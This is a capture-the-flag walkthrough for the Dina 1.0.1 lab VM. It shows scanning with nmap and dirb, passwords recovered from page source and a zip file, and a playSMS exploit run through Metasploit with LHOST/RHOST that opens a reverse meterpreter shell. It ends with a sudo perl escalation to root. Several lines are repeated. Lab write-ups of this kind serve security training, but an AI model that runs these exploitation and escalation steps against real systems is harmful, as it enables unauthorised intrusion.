CTF - Dina : 1.0.1 walkthrough
Lab Environment :
Attacker’s Machine :
Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.10-1kali2(2017-11-08) x86_64 GNU/Linux
Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.10-1kali2(2017-11-08) x86_64 GNU/Linux
Vulnerable Machine : Dina: 1.0.1
Scanning phase
- route -n (To know the gateway) i.e 172.16.60.2
- arp-scan --local (to know the devices connected to the local network)
- Vulnerable machine IP : 172.16.60.154
Using nmap for scanning the IP : nmap -sS -sC -sV 172.16.60.154
- We got one open port i.e 80 and http service is active
Since the port 80 is open and http service is active then we can open the IP in browser.
Another nmap syntax to know vulnerability if any : nmap --script vuln 172.16.60.154
Now further using dirb for scanning the directories : dirb http://172.16.60.154
Some results are obtained after using dirb .
- Opened the http://172.16.60.154/robots.txt and found something interesting .
- I got few directories listed .
After checking the directories got to know that there can be something in http://172.16.60.154/nothing .
NOT FOUND ,go back but this is an html page so we can view the page source and it revealed
something really interesting .
something really interesting .
I got password list as
#my secret pass
freedom
password
Helloworld
diana
iloveroot
Opened another url which dirb has listed i.e http://172.16.60.154/secure got one zip file named backup.zip
Downloaded the file and extracted it and it gave the prompt to enter the password .
It looks like its an MP3 file but still i tried to open it in the text editor .
I further tried the passwords which i got in source code earlier and Password is freedom.
It looks like its an MP3 file but still i tried to open it in the text editor .
I further tried the passwords which i got in source code earlier and Password is freedom.
It revealed username as well as one url i.e /SecreTSMSgatwaylogin
On Browsing the above obtained url i got login panel of playsms
I logged in the portal using username which was revealed in that zip file i.e backup.zip and
password is from the same list that was found in source code.
password is from the same list that was found in source code.
Username - touhid
Password - diana
As i got to know that web applicaton is play sms , so i searched for its exploit and found one
After downloading the file i renamed it as playsmscsv and copied it to metasploit-framework > modules > exploits
Started msfconsole and searched for playsmscsv
I got one result named as playsmscsv .further i ran the command to use the exploit i.e
use exploit/playsmscsv
Now exploit is ready to be used . i further explored the parameters needed for exploit to run by typing options
Provided the parameters which was needed for the exploit are as follows :
- set PASSWORD diana
- set USERNAME touhid
- set LHOST 172.16.60.52
- set RHOST 172.16.60.154
- set TARGETURI
Now ready to run the exploit by typing exploit and we got the meterpreter session and then further
entered into the shell by typing shell
entered into the shell by typing shell
Gained the shell and ran two commands to get the access as
- root user and explored the directories further.
- Python -c ‘import pty; pty.spawn(“/bin/bash”)’
- Sudo perl -e “exec ‘/bin/bash’”
And finally got the flag in the root directory